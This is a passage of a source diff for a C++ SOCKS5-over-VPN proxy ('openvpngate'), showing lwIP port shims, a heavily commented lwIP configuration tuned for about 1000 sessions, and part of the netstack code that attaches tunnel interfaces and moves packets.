void send_query(const std::shared_ptr<Query> &q);
void on_query_timeout(const std::shared_ptr<Query> &q);
void finish(const std::shared_ptr<Query> &q, const std::error_code &ec,
std::vector<IpAddress> addrs, uint32_t ttl_seconds);
void fail_all(const std::error_code &ec);
uint16_t allocate_id();
void cache_put(const std::string &name, const std::vector<IpAddress> &addrs,
uint32_t ttl_seconds);
bool cache_get(const std::string &name, std::vector<IpAddress> *out);
std::shared_ptr<Netif> netif_;
DnsConfig cfg_;
Strand strand_;
std::vector<IpAddress> servers_;
UdpSocketPtr sock_;
bool opening_ = false;
std::vector<std::shared_ptr<Query>> pending_open_;
std::vector<uint8_t> rx_buf_;
bool receiving_ = false;
std::unordered_map<uint16_t, std::shared_ptr<Query>> by_id_;
std::unordered_map<std::string, std::shared_ptr<Query>> by_name_;
std::unordered_map<std::string, CacheEntry> cache_;
std::deque<std::string> cache_order_; // insertion order, for eviction
std::mt19937 rng_;
mutable std::mutex stats_mu_;
Stats stats_;
};
// Exposed for tests: build an A-record query and parse a response. Pure
// functions over byte buffers, which is the only part of DNS worth unit-testing
// in isolation.
namespace dns {
// Returns false if `name` is not a legal DNS name (label > 63, total > 255).
bool build_query(const std::string &name, uint16_t id,
std::vector<uint8_t> *out);
struct ParseResult {
uint16_t id = 0;
int rcode = 0;
bool truncated = false;
std::vector<IpAddress> addrs;
uint32_t min_ttl = 0;
};
// Returns false only for a response that is malformed at the wire level. An
// answer that is well-formed but empty or an error comes back true with rcode
// and addrs telling the caller what happened.
bool parse_response(const uint8_t *data, size_t len, ParseResult *out);
} // namespace dns
} // namespace ovg::netstack
+48
View File
@@ -0,0 +1,48 @@
// lwIP architecture shim for POSIX/glibc userspace.
//
// lwIP includes this before anything else, from C translation units. Keep it
// C-compatible and free of project headers -- the two hooks that need to reach
// our C++ logger go through the small extern "C" surface in lwip_shim.h.
#ifndef OVG_LWIP_PORT_ARCH_CC_H
#define OVG_LWIP_PORT_ARCH_CC_H
#include <endian.h> // defines BYTE_ORDER / LITTLE_ENDIAN / BIG_ENDIAN
#include <stddef.h>
#include <stdint.h>
#include <stdlib.h>
// Resolved via the port directory on lwIP's include path (it is where
// lwipopts.h is found too), not relative to this file. Spelling it
// project-root-relative like the rest of the tree would require putting all of
// src/ on lwIP's include path, where our headers could shadow its own.
#include "lwip_shim.h"
// arch.h would otherwise default BYTE_ORDER to LITTLE_ENDIAN without checking,
// which is silently wrong on a big-endian build. <endian.h> settles it.
#ifndef BYTE_ORDER
#error "BYTE_ORDER not defined by <endian.h>"
#endif
// Structure packing: gcc/clang attribute form.
#define PACK_STRUCT_BEGIN
#define PACK_STRUCT_STRUCT __attribute__((packed))
#define PACK_STRUCT_END
#define PACK_STRUCT_FIELD(x) x
// Both hooks land in the project logger under the "lwip" module tag. The
// alternative -- lwIP's default of printf to stdout -- would put unprefixed,
// untimestamped lines in the middle of the service log, and an assertion
// failure would be indistinguishable from ordinary output.
#define LWIP_PLATFORM_DIAG(x) \
do { \
ovg_lwip_diag x; \
} while (0)
#define LWIP_PLATFORM_ASSERT(msg) ovg_lwip_assert_failed((msg), __FILE__, __LINE__)
// lwIP uses this for the IP identification field and for ephemeral port
// selection; a predictable sequence there is a (mild) fingerprint and a (real)
// off-path injection aid, so it is backed by a seeded PRNG rather than rand().
#define LWIP_RAND() ovg_lwip_rand()
#endif // OVG_LWIP_PORT_ARCH_CC_H
+67
View File
@@ -0,0 +1,67 @@
// Definitions for the three port hooks plus lwIP's sys_now().
#include "netstack/lwip_port/lwip_shim.h"
#include <cstdarg>
#include <cstdio>
#include <cstdlib>
#include <chrono>
#include <random>
#include "common/logging.h"
extern "C" {
#include "lwip/sys.h"
}
namespace {
constexpr const char *kMod = "lwip";
// One reference point for the whole process. sys_now() is a u32 millisecond
// counter that lwIP is designed to see wrap, so the absolute epoch does not
// matter -- only that it is monotonic and never jumps backwards, which rules
// out system_clock.
std::chrono::steady_clock::time_point boot() {
static const auto t0 = std::chrono::steady_clock::now();
return t0;
}
std::mt19937 &rng() {
static std::mt19937 gen{std::random_device{}()};
return gen;
}
} // namespace
extern "C" void ovg_lwip_diag(const char *fmt, ...) {
char buf[512];
va_list ap;
va_start(ap, fmt);
const int n = std::vsnprintf(buf, sizeof(buf), fmt, ap);
va_end(ap);
if (n <= 0) return;
// lwIP's diagnostics arrive with the trailing newline already attached; the
// logger adds its own.
std::string_view s(buf);
while (!s.empty() && (s.back() == '\n' || s.back() == '\r')) s.remove_suffix(1);
if (!s.empty()) ovg::log::write(ovg::log::Level::Debug, kMod, s);
}
extern "C" void ovg_lwip_assert_failed(const char *msg, const char *file,
int line) {
LOG_ERROR(kMod, "lwIP assertion failed: {} at {}:{}", msg ? msg : "(null)",
file ? file : "(null)", line);
std::abort();
}
extern "C" uint32_t ovg_lwip_rand(void) {
// Called from lwIP callbacks, which are all serialized on the stack's strand,
// so the shared generator needs no lock.
return static_cast<uint32_t>(rng()());
}
extern "C" u32_t sys_now(void) {
using namespace std::chrono;
const auto ms = duration_cast<milliseconds>(steady_clock::now() - boot());
return static_cast<u32_t>(ms.count());
}
+34
View File
@@ -0,0 +1,34 @@
// The C surface lwIP's port layer calls into.
//
// Split out from arch/cc.h because cc.h is included by lwIP's own C sources and
// must stay free of C++; these three symbols are defined in C++ (lwip_shim.cpp)
// but declared with C linkage so both sides agree.
#ifndef OVG_LWIP_PORT_LWIP_SHIM_H
#define OVG_LWIP_PORT_LWIP_SHIM_H
#include <stdint.h>
#ifdef __cplusplus
extern "C" {
#endif
// LWIP_PLATFORM_DIAG. printf-style, because that is the shape lwIP calls it in.
void ovg_lwip_diag(const char *fmt, ...) __attribute__((format(printf, 1, 2)));
// LWIP_PLATFORM_ASSERT. Logs at error level and aborts: an lwIP assertion means
// an invariant inside the stack is already broken, and continuing past it
// corrupts connections silently instead of loudly.
void ovg_lwip_assert_failed(const char *msg, const char *file, int line)
__attribute__((noreturn));
// LWIP_RAND.
uint32_t ovg_lwip_rand(void);
// Milliseconds since stack start, for lwIP's timer wheel. lwIP declares
// sys_now() itself in sys.h; this is the same function, defined in lwip_shim.cpp.
#ifdef __cplusplus
} // extern "C"
#endif
#endif // OVG_LWIP_PORT_LWIP_SHIM_H
+183
View File
@@ -0,0 +1,183 @@
// lwIP configuration for openvpngate.
//
// lwIP ships tuned for microcontrollers: MEMP_NUM_TCP_PCB defaults to 5 and the
// heap to a few tens of kilobytes. Running a 1000-session proxy on the stock
// configuration does not degrade, it fails outright, so every value below is a
// deliberate departure. See docs/FEASIBILITY.md 4.2 for the reasoning and the
// honest limits.
//
// Three constraints shape everything here:
//
// 1. NO_SYS=1. There is no OS layer, no lwIP thread, no mailbox. The raw
// callback API is the only API, and the caller guarantees serialization --
// for us that is netstack::Stack's strand.
// 2. We are always the connection initiator. No listen path, no ARP, no DHCP,
// no autoip -- the tunnel hands us an address.
// 3. Memory has to scale to ~1000 concurrent connections, which rules out the
// fixed memp pools entirely.
#pragma once
// ---- core model ------------------------------------------------------------
#define NO_SYS 1
#define LWIP_TIMERS 1
#define SYS_LIGHTWEIGHT_PROT 0 // strand-serialized; nothing to protect against
#define LWIP_NETCONN 0
#define LWIP_SOCKET 0
#define LWIP_NETIF_API 0
#define LWIP_TCPIP_CORE_LOCKING 0
// ---- memory ----------------------------------------------------------------
//
// The static pools are the single biggest source of "it worked in testing and
// wedged in production" with lwIP: when a pool runs dry the stack silently
// drops packets, and the pool that runs dry is never the one you sized. Routing
// everything through libc malloc trades pool determinism (which we do not need
// -- this is not hard real-time) for the guarantee that capacity planning
// mistakes cannot silently corrupt behaviour.
//
// The price is that lwIP no longer has an upper bound on its own memory. That
// bound has to come from somewhere, and it comes from socks5.max_sessions,
// enforced at accept time. That is the only thing standing between a burst of
// clients and the OOM killer -- see docs/FEASIBILITY.md 4.2.
#define MEM_LIBC_MALLOC 1
#define MEMP_MEM_MALLOC 1
#define MEM_ALIGNMENT 8 // x86_64 / aarch64
#define MEM_SIZE (16 * 1024 * 1024) // unused under MEM_LIBC_MALLOC
// Ignored while MEMP_MEM_MALLOC is on, but kept accurate: they are the sizing
// that would apply if anyone ever turns pooling back on, and they document the
// intended scale.
#define MEMP_NUM_TCP_PCB 1300
#define MEMP_NUM_TCP_PCB_LISTEN 0 // we never listen inside the tunnel
#define MEMP_NUM_TCP_SEG 8192
#define MEMP_NUM_UDP_PCB 512
#define MEMP_NUM_RAW_PCB 8
#define MEMP_NUM_REASSDATA 32
#define MEMP_NUM_FRAG_PBUF 64
#define PBUF_POOL_SIZE 1024
#define PBUF_POOL_BUFSIZE 1536
// ---- protocol surface ------------------------------------------------------
//
// Everything not needed by "an initiator on a point-to-point layer-3 link" is
// off. Each of these is code that could have a bug in it and reachable state a
// hostile peer could poke at, so off is worth more than the flexibility.
#define LWIP_IPV4 1
#define LWIP_IPV6 0 // see netstack/lwip_stack.h
#define LWIP_ARP 0
#define LWIP_ETHERNET 0
#define LWIP_DHCP 0
#define LWIP_AUTOIP 0
#define LWIP_ACD 0
#define LWIP_IGMP 0
#define LWIP_DNS 0 // ours: netstack/dns_resolver.h
#define LWIP_TCP 1
#define LWIP_UDP 1
#define LWIP_UDPLITE 0
#define LWIP_RAW 1 // ICMP echo, for in-tunnel RTT probes
#define LWIP_ICMP 1
#define LWIP_BROADCAST_PING 0
#define LWIP_MULTICAST_PING 0
// Fragmentation both ways. A VPN transport with a smaller effective MTU than
// the one the server pushed is common enough that dropping fragments would show
// up as "large HTTPS responses hang" -- the classic, miserable-to-diagnose PMTU
// black hole.
#define IP_REASSEMBLY 1
#define IP_FRAG 1
#define IP_REASS_MAXAGE 5
#define IP_REASS_MAX_PBUFS 128
#define IP_DEFAULT_TTL 64
#define IP_FORWARD 0
// ---- TCP tuning ------------------------------------------------------------
//
// TCP_MSS is conservative on purpose. lwIP lowers the effective MSS to fit
// netif->mtu (tcp_eff_send_mss_netif), so this is only an upper bound; 1360
// leaves room for a server that pushes 1500 but whose own transport is doing
// encapsulation of its own, without relying on fragmentation to save us.
#define TCP_MSS 1360
#define TCP_TTL IP_DEFAULT_TTL
// Window scaling is not optional here. A VPN hop of 150-250ms RTT has a
// bandwidth-delay product well past 64 KB, and without scaling every connection
// would be capped at roughly (64 KB / RTT) regardless of the link.
#define LWIP_WND_SCALE 1
#define TCP_RCV_SCALE 2
// 64 KB per direction per connection. This is the memory knob that matters:
// TCP_WND is the ceiling on data lwIP will accept before our reader consumes
// it, so the worst case is roughly max_sessions * (TCP_WND + TCP_SND_BUF) --
// about 150 MB at the default 1200 sessions. Raising these buys single-stream
// throughput and costs that ceiling linearly.
#define TCP_WND (64 * 1024)
#define TCP_SND_BUF (64 * 1024)
#define TCP_SND_QUEUELEN ((8 * (TCP_SND_BUF) + (TCP_MSS - 1)) / (TCP_MSS))
#define TCP_SNDLOWAT (TCP_SND_BUF / 4)
#define TCP_SNDQUEUELOWAT (TCP_SND_QUEUELEN / 4)
// Out-of-order queueing, bounded. Lossy VPN paths reorder constantly; without
// this a single missing segment stalls the connection for a full RTO.
#define TCP_QUEUE_OOSEQ 1
#define TCP_OOSEQ_MAX_BYTES TCP_WND
#define TCP_OOSEQ_MAX_PBUFS 64
// SACK, for the same reason: one loss in a 64 KB window should cost one
// retransmit, not a window's worth.
#define LWIP_TCP_SACK_OUT 1
#define LWIP_TCP_MAX_SACK_NUM 4
#define TCP_LISTEN_BACKLOG 0
#define LWIP_TCP_TIMESTAMPS 0 // no PAWS need; saves 12 bytes/segment
#define TCP_MAXRTX 8
#define TCP_SYNMAXRTX 4 // fail a dead target fast; SOCKS5 has its own timeout
// ---- checksums -------------------------------------------------------------
//
// All on. There is no NIC underneath us to offload to -- the "wire" is a
// socketpair -- and a corrupt packet arriving from the VPN server is exactly
// the case checksums exist for.
#define CHECKSUM_GEN_IP 1
#define CHECKSUM_GEN_UDP 1
#define CHECKSUM_GEN_TCP 1
#define CHECKSUM_GEN_ICMP 1
#define CHECKSUM_CHECK_IP 1
#define CHECKSUM_CHECK_UDP 1
#define CHECKSUM_CHECK_TCP 1
#define CHECKSUM_CHECK_ICMP 1
// ---- netif -----------------------------------------------------------------
#define LWIP_NETIF_HOSTNAME 0
#define LWIP_NETIF_STATUS_CALLBACK 0
#define LWIP_NETIF_LINK_CALLBACK 0
#define LWIP_NETIF_REMOVE_CALLBACK 0
#define LWIP_SINGLE_NETIF 0 // two live netifs during a switch
#define LWIP_NUM_NETIF_CLIENT_DATA 0
// ---- statistics ------------------------------------------------------------
//
// On, and load-bearing: the health monitor reads the TCP retransmit counter as
// its packet-loss signal (docs/ARCHITECTURE.md 7). The mem/memp counters are
// off because libc malloc owns that accounting now.
#define LWIP_STATS 1
#define LWIP_STATS_DISPLAY 0
#define LINK_STATS 1
#define IP_STATS 1
#define ICMP_STATS 1
#define UDP_STATS 1
#define TCP_STATS 1
#define MEM_STATS 0
#define MEMP_STATS 0
#define SYS_STATS 0
#define IPFRAG_STATS 1
// ---- debug -----------------------------------------------------------------
//
// LWIP_DEBUG is tested with #ifdef, not #if, so defining it to 0 would turn
// debug *on*. It must simply not be defined. Asserts stay enabled: an lwIP
// assertion means our own callback contract was violated, and LWIP_PLATFORM_
// ASSERT in arch/cc.h routes it into the log before aborting. (Defining
// LWIP_NOASSERT would disable them; we deliberately do not.)
#undef LWIP_DEBUG
+649
View File
@@ -0,0 +1,649 @@
#include "netstack/lwip_stack.h"
#include <algorithm>
#include <cstring>
#include <stdexcept>
#include "common/error.h"
#include "common/logging.h"
#include "common/metrics.h"
#include "netstack/dns_resolver.h"
#include "netstack/lwip_tcp.h"
#include "netstack/lwip_udp.h"
extern "C" {
#include "lwip/init.h"
#include "lwip/ip4.h"
#include "lwip/ip4_addr.h"
#include "lwip/netif.h"
#include "lwip/pbuf.h"
#include "lwip/stats.h"
#include "lwip/tcp.h"
#include "lwip/timeouts.h"
#include "lwip/udp.h"
}
namespace ovg::netstack {
namespace {
constexpr const char *kMod = "netstack";
// Upper bound on how long the timer wheel may sit idle. lwIP's own answer
// (sys_timeouts_sleeptime) is authoritative when it has work pending; this only
// caps the "nothing scheduled" case so that a newly armed timeout is never more
// than a quarter second late.
constexpr std::chrono::milliseconds kMaxTimerIdle{250};
constexpr std::chrono::milliseconds kMinTimerIdle{1};
// One process, one lwIP. Guarded rather than assumed -- see lwip_stack.h.
bool g_stack_live = false;
bool g_lwip_initialized = false;
metrics::Counter *rx_packets() {
static auto *c = metrics::counter("ovg_netstack_rx_packets_total",
"IP packets read from the tunnel");
return c;
}
metrics::Counter *tx_packets() {
static auto *c = metrics::counter("ovg_netstack_tx_packets_total",
"IP packets written to the tunnel");
return c;
}
metrics::Counter *tx_dropped() {
static auto *c = metrics::counter("ovg_netstack_tx_dropped_total",
"IP packets dropped: link queue full");
return c;
}
metrics::Counter *rx_malformed() {
static auto *c = metrics::counter("ovg_netstack_rx_malformed_total",
"Packets that were not usable IPv4");
return c;
}
metrics::Gauge *netifs_up() {
static auto *g = metrics::gauge("ovg_netstack_netifs",
"Tunnel interfaces currently attached");
return g;
}
ip4_addr_t to_lwip(const IpAddress &a) {
ip4_addr_t r{};
r.addr = lwip_htonl(a.v4_host_order());
return r;
}
ip4_addr_t netmask_for(int prefix) {
ip4_addr_t r{};
const uint32_t host =
(prefix <= 0) ? 0u : (prefix >= 32 ? 0xFFFFFFFFu
: (0xFFFFFFFFu << (32 - prefix)));
r.addr = lwip_htonl(host);
return r;
}
} // namespace
std::error_code lwip_error(int8_t err) {
switch (err) {
case ERR_OK: return {};
case ERR_MEM:
case ERR_BUF: return make_error_code(Error::ResourceExhausted);
case ERR_TIMEOUT: return make_error_code(Error::Timeout);
case ERR_RTE: return make_error_code(Error::NetworkUnreachable);
case ERR_INPROGRESS: return make_error_code(Error::Internal);
case ERR_VAL:
case ERR_ARG: return make_error_code(Error::Internal);
case ERR_WOULDBLOCK: return std::make_error_code(std::errc::operation_would_block);
case ERR_USE: return std::make_error_code(std::errc::address_in_use);
case ERR_ALREADY:
case ERR_ISCONN: return std::make_error_code(std::errc::already_connected);
case ERR_CONN: return make_error_code(Error::NotConnected);
case ERR_IF: return make_error_code(Error::NetworkUnreachable);
case ERR_ABRT: return std::make_error_code(std::errc::operation_canceled);
// A reset during connect means refused; mid-stream it means the peer or a
// middlebox tore the connection down. SOCKS5 only cares at connect time,
// where "refused" is the honest REP value.
case ERR_RST: return make_error_code(Error::ConnectionRefused);
case ERR_CLSD: return std::make_error_code(std::errc::connection_reset);
default: return make_error_code(Error::Internal);
}
}
// ---------------------------------------------------------------------------
// Stack
// ---------------------------------------------------------------------------
Stack::Stack(asio::io_context &io, DnsConfig dns_cfg)
: io_(io),
dns_cfg_(std::move(dns_cfg)),
strand_(asio::make_strand(io)),
timer_(strand_) {
if (g_stack_live) {
throw std::logic_error(
"a netstack::Stack already exists; lwIP keeps its state in globals so "
"there can only be one per process (see netstack/lwip_stack.h)");
}
if (!g_lwip_initialized) {
lwip_init();
g_lwip_initialized = true;
LOG_INFO(kMod,
"lwIP {}.{}.{} initialized (tcp_mss={} tcp_wnd={} snd_buf={} "
"wnd_scale={})",
LWIP_VERSION_MAJOR, LWIP_VERSION_MINOR, LWIP_VERSION_REVISION,
TCP_MSS, TCP_WND, TCP_SND_BUF, TCP_RCV_SCALE);
} else {
// A second Stack in the same process (tests do this). lwip_init() resets
// pool state that may still be referenced, so it is deliberately not
// repeated; the first initialization is still valid.
LOG_DEBUG(kMod, "reusing the already-initialized lwIP core");
}
g_stack_live = true;
schedule_timer();
}
Stack::~Stack() {
stopping_ = true;
timer_.cancel();
g_stack_live = false;
}
void Stack::stop() {
// On the strand: on_timer reads and re-arms from there, and flipping the flag
// underneath it is the one interleaving where a cancelled timer immediately
// schedules itself again. A handler already queued when the cancel lands
// still runs, sees stopping_, and returns without re-arming.
asio::post(strand_, [this] {
if (stopping_) return;
stopping_ = true;
timer_.cancel();
LOG_DEBUG(kMod, "lwIP timer stopped");
});
}
void Stack::schedule_timer() {
if (stopping_) return;
const u32_t sleep_ms = sys_timeouts_sleeptime();
std::chrono::milliseconds d = kMaxTimerIdle;
if (sleep_ms != SYS_TIMEOUTS_SLEEPTIME_INFINITE) {
d = std::clamp(std::chrono::milliseconds(sleep_ms), kMinTimerIdle,
kMaxTimerIdle);
}
timer_.expires_after(d);
timer_.async_wait(asio::bind_executor(
strand_, [this](const std::error_code &ec) { on_timer(ec); }));
}
void Stack::on_timer(const std::error_code &ec) {
if (ec || stopping_) return;
sys_check_timeouts();
schedule_timer();
}
bool Stack::claim_address(const IpAddress &a) {
std::lock_guard<std::mutex> lk(mu_);
if (std::find(claimed_.begin(), claimed_.end(), a) != claimed_.end())
return false;
claimed_.push_back(a);
return true;
}
void Stack::release_address(const IpAddress &a) {
std::lock_guard<std::mutex> lk(mu_);
claimed_.erase(std::remove(claimed_.begin(), claimed_.end(), a),
claimed_.end());
}
void Stack::async_attach(PacketLink &link, NetifConfig cfg,
const asio::any_io_executor &cb_ex, AttachHandler h) {
asio::post(strand_, [this, &link, cfg = std::move(cfg), cb_ex,
h = std::move(h)]() mutable {
auto fail = [&](std::error_code ec, const std::string &why) {
LOG_ERROR(kMod, "{}: cannot attach netif: {}", cfg.label, why);
asio::post(cb_ex, [h = std::move(h), ec] { h(ec, nullptr); });
};
if (!cfg.address.valid() || !cfg.address.is_v4() || cfg.prefix <= 0 ||
cfg.prefix > 32) {
fail(make_error_code(Error::ConfigInvalid),
"the server did not push a usable IPv4 address");
return;
}
// Two tunnels on the same address are indistinguishable to lwIP's input
// path. Refusing here turns a silent misrouting bug into a clean error the
// switch controller can act on.
if (!claim_address(cfg.address)) {
fail(make_error_code(Error::ResourceExhausted),
fmt::format("address {} is already in use by another live tunnel; "
"a graceful switch is impossible between two nodes that "
"push the same address",
cfg.address.to_string()));
return;
}
auto nif = Netif::create(*this, link, std::move(cfg), cb_ex);
std::string err;
if (!nif->bring_up(&err)) {
release_address(nif->cfg_.address);
const std::string label = nif->cfg_.label;
nif.reset();
LOG_ERROR(kMod, "{}: cannot attach netif: {}", label, err);
asio::post(cb_ex, [h = std::move(h)] {
h(make_error_code(Error::TunnelSetupFailed), nullptr);
});
return;
}
netifs_up()->add(1);
asio::post(cb_ex, [h = std::move(h), nif]() mutable {
h(std::error_code{}, std::move(nif));
});
});
}
Stack::GlobalStats Stack::global_stats() const {
// lwIP's counters are plain globals updated on the strand. Reading them from
// another thread is a benign race on values that are only ever used as coarse
// trend indicators; taking the strand for a metrics scrape is not worth it.
GlobalStats s;
#if TCP_STATS
s.tcp_segments_sent = lwip_stats.tcp.xmit;
s.tcp_segments_received = lwip_stats.tcp.recv;
s.tcp_drops = lwip_stats.tcp.drop;
s.tcp_checksum_errors = lwip_stats.tcp.chkerr;
s.tcp_memory_errors = lwip_stats.tcp.memerr;
#endif
#if IP_STATS
s.ip_drops = lwip_stats.ip.drop;
s.ip_checksum_errors = lwip_stats.ip.chkerr;
#endif
#if IPFRAG_STATS
s.reassembly_failures = lwip_stats.ip_frag.err + lwip_stats.ip_frag.drop;
#endif
{
std::lock_guard<std::mutex> lk(mu_);
s.netifs = claimed_.size();
}
return s;
}
// ---------------------------------------------------------------------------
// Netif
// ---------------------------------------------------------------------------
struct Netif::Impl {
struct netif nif {};
bool added = false;
// Scratch for linearizing outbound pbuf chains. A member, not a stack array:
// netif output sits under every tcp_output call and a 4 KB frame on that path
// is stack we do not need to spend.
std::vector<uint8_t> tx_buf;
};
Netif::Netif(Stack &stack, PacketLink &link, NetifConfig cfg,
asio::any_io_executor cb_ex)
: stack_(stack),
link_(link),
cfg_(std::move(cfg)),
cb_ex_(std::move(cb_ex)),
impl_(std::make_unique<Impl>()) {}
std::shared_ptr<Netif> Netif::create(Stack &stack, PacketLink &link,
NetifConfig cfg,
asio::any_io_executor cb_ex) {
return std::shared_ptr<Netif>(
new Netif(stack, link, std::move(cfg), std::move(cb_ex)),
detail::StrandDeleter<Netif>{stack.strand()});
}
Netif::~Netif() {
// Runs on the strand (StrandDeleter), so touching lwIP here is safe.
tear_down();
}
struct netif *Netif::lwip_netif() {
return up_ ? &impl_->nif : nullptr;
}
namespace {
// lwIP calls these with the netif; `state` is the owning Netif.
err_t netif_output_cb(struct netif *nif, struct pbuf *p, const ip4_addr_t *) {
auto *self = static_cast<Netif *>(nif->state);
return self->transmit_from_lwip(p) ? ERR_OK : ERR_MEM;
}
err_t netif_init_cb(struct netif *nif) {
auto *self = static_cast<Netif *>(nif->state);
nif->name[0] = 'o';
nif->name[1] = 'v';
nif->output = netif_output_cb;
nif->linkoutput = nullptr; // layer 3 only: no ethernet underneath
nif->mtu = static_cast<u16_t>(self->mtu());
nif->hwaddr_len = 0;
// No NETIF_FLAG_BROADCAST and no NETIF_FLAG_ETHARP: this is a point-to-point
// layer-3 link, so there is no link-layer address to resolve and nothing to
// broadcast to.
nif->flags = NETIF_FLAG_LINK_UP;
return ERR_OK;
}
} // namespace
bool Netif::bring_up(std::string *err) {
if (up_) return true;
const ip4_addr_t addr = to_lwip(cfg_.address);
const ip4_addr_t mask = netmask_for(cfg_.prefix);
const ip4_addr_t gw =
cfg_.gateway.valid() && cfg_.gateway.is_v4() ? to_lwip(cfg_.gateway)
: ip4_addr_t{};
if (cfg_.mtu < 576 || cfg_.mtu > 9000) {
// 576 is the IPv4 minimum reassembly buffer; anything under it is a pushed
// value we should not trust more than the default.
LOG_WARN(kMod, "{}: server pushed mtu={}, using 1500", cfg_.label,
cfg_.mtu);
cfg_.mtu = 1500;
}
impl_->tx_buf.resize(link_.max_packet_size());
rx_buf_.resize(link_.max_packet_size());
impl_->nif.state = this;
if (netif_add(&impl_->nif, &addr, &mask, &gw, this, netif_init_cb,
ip4_input) == nullptr) {
if (err) *err = "netif_add failed";
return false;
}
impl_->added = true;
netif_set_link_up(&impl_->nif);
netif_set_up(&impl_->nif);
// The newest tunnel becomes the default route. Every PCB is pinned to its own
// netif (tcp_bind_netif / udp_bind_netif), so the default only decides where
// unbound traffic goes -- but leaving it pointing at a tunnel that is being
// drained would be the wrong answer for anything that slips through.
netif_set_default(&impl_->nif);
up_ = true;
LOG_INFO(kMod,
"{}: netif up: {}/{} gw={} mtu={} dns=[{}] (lwip idx {})",
cfg_.label, cfg_.address.to_string(), cfg_.prefix,
cfg_.gateway.valid() ? cfg_.gateway.to_string() : "none", cfg_.mtu,
[&] {
std::string s;
for (const auto &d : cfg_.dns) {
if (!s.empty()) s += ", ";
s += d.to_string();
}
return s.empty() ? "none" : s;
}(),
netif_get_index(&impl_->nif));
arm_receive();
return true;
}
void Netif::tear_down() {
if (!up_) return;
up_ = false;
// Abort survivors first: they hold PCBs bound to this netif, and removing the
// netif underneath a live PCB is exactly the kind of dangling reference lwIP
// will not diagnose for us.
const auto reason = make_error_code(Error::EgressGone);
auto children = std::move(children_);
children_.clear();
size_t aborted = 0;
for (auto &w : children) {
if (auto c = w.lock()) {
c->abort_from_netif(reason);
++aborted;
}
}
link_.cancel();
if (impl_->added) {
netif_set_down(&impl_->nif);
netif_remove(&impl_->nif);
impl_->added = false;
}
stack_.release_address(cfg_.address);
netifs_up()->sub(1);
// netif_remove clears netif_default if it pointed here; hand it to whatever
// is left so an unbound send still has somewhere to go.
if (netif_default == nullptr) {
struct netif *first = netif_list;
if (first != nullptr) netif_set_default(first);
}
const Stats s = stats();
LOG_INFO(kMod,
"{}: netif down: rx={} pkts/{} B tx={} pkts/{} B "
"(tx_dropped={} rx_malformed={} rx_dropped={}), aborted {} live "
"connection(s)",
cfg_.label, s.rx_packets, s.rx_bytes, s.tx_packets, s.tx_bytes,
s.tx_dropped, s.rx_malformed, s.rx_dropped, aborted);
}
void Netif::shutdown(std::function<void()> on_done) {
auto self = shared_from_this();
asio::post(stack_.strand(), [self, on_done = std::move(on_done)]() mutable {
self->tear_down();
if (on_done) asio::post(self->cb_ex_, std::move(on_done));
});
}
bool Netif::is_up() const { return up_; }
void Netif::arm_receive() {
if (!up_ || receiving_ || !link_.is_open()) return;
receiving_ = true;
auto self = shared_from_this();
link_.async_receive(
asio::buffer(rx_buf_), stack_.strand(),
[self](const std::error_code &ec, size_t n) { self->on_packet(ec, n); });
}
void Netif::on_packet(const std::error_code &ec, size_t n) {
receiving_ = false;
if (!up_) return;
if (ec) {
if (ec != asio::error::operation_aborted) {
LOG_WARN(kMod, "{}: tunnel read failed: {}", cfg_.label, ec.message());
}
// The link is gone; the egress layer notices through the tunnel's own state
// machine and tears us down. Not re-arming is what stops the spin.
return;
}
{
std::lock_guard<std::mutex> lk(stats_mu_);
stats_.rx_packets++;
stats_.rx_bytes += n;
}
rx_packets()->inc();
// The first nibble decides. IPv6 lands here whenever a server pushes a v6
// route we did not ask for; lwIP is compiled v4-only so it goes in the bin,
// counted, without pretending it was corruption.
const bool ok_v4 = n >= 20 && (rx_buf_[0] >> 4) == 4;
if (!ok_v4) {
{
std::lock_guard<std::mutex> lk(stats_mu_);
stats_.rx_malformed++;
}
rx_malformed()->inc();
LOG_TRACE(kMod, "{}: dropped a {}-byte non-IPv4 packet (version nibble {})",
cfg_.label, n, n > 0 ? (rx_buf_[0] >> 4) : 0);
arm_receive();
return;
}
pbuf *p = pbuf_alloc(PBUF_RAW, static_cast<u16_t>(n), PBUF_RAM);
if (p == nullptr) {
std::lock_guard<std::mutex> lk(stats_mu_);
stats_.rx_dropped++;
} else {
std::memcpy(p->payload, rx_buf_.data(), n);
if (impl_->nif.input(p, &impl_->nif) != ERR_OK) {
pbuf_free(p);
std::lock_guard<std::mutex> lk(stats_mu_);
stats_.rx_dropped++;
}
}
// One packet per reactor wakeup. Batching with recvmmsg would cut syscalls at
// high packet rates; it is deliberately not done yet because it would push a
// second framing concept into PacketLink for a bottleneck we have not
// measured. See docs/FEASIBILITY.md 4.2 for where the real ceiling is.
arm_receive();
}
bool Netif::transmit_from_lwip(pbuf *p) {
const size_t len = p->tot_len;
if (len == 0 || len > impl_->tx_buf.size()) {
std::lock_guard<std::mutex> lk(stats_mu_);
stats_.tx_dropped++;
return false;
}
const void *data;
if (p->next == nullptr) {
data = p->payload; // single pbuf: the common case, no copy
} else {
pbuf_copy_partial(p, impl_->tx_buf.data(), static_cast<u16_t>(len), 0);
data = impl_->tx_buf.data();
}
const bool sent = link_.send_packet(data, len);
{
std::lock_guard<std::mutex> lk(stats_mu_);
if (sent) {
stats_.tx_packets++;
stats_.tx_bytes += len;
} else {
stats_.tx_dropped++;
}
}
if (sent) {
tx_packets()->inc();
} else {
tx_dropped()->inc();
}
return sent;
}
void Netif::register_child(const std::shared_ptr<Closable> &c) {
// Compact opportunistically: the vector is only walked at shutdown, so the
// only thing that matters is that expired entries cannot accumulate without
// bound over the life of a long-running tunnel.
if (children_.size() >= 64 && children_.size() % 64 == 0) {
children_.erase(std::remove_if(children_.begin(), children_.end(),
[](const std::weak_ptr<Closable> &w) {
return w.expired();
}),
children_.end());
}
children_.push_back(c);
}
void Netif::note_tcp_opened(bool ok) {
std::lock_guard<std::mutex> lk(stats_mu_);
if (ok) {
stats_.tcp_opened++;
stats_.tcp_active++;
} else {
stats_.tcp_failed++;
}
}
void Netif::note_tcp_closed() {
std::lock_guard<std::mutex> lk(stats_mu_);
if (stats_.tcp_active > 0) stats_.tcp_active--;
}
void Netif::note_udp(int delta) {
std::lock_guard<std::mutex> lk(stats_mu_);
stats_.udp_active += delta;
}
Netif::Stats Netif::stats() const {
std::lock_guard<std::mutex> lk(stats_mu_);
return stats_;
}
void Netif::async_connect_tcp(const IpAddress &addr, uint16_t port,
Millis timeout,
const asio::any_io_executor &cb_ex,
ConnectHandler h) {
auto self = shared_from_this();
asio::post(stack_.strand(), [self, addr, port, timeout, cb_ex,
h = std::move(h)]() mutable {
if (!self->up_) {
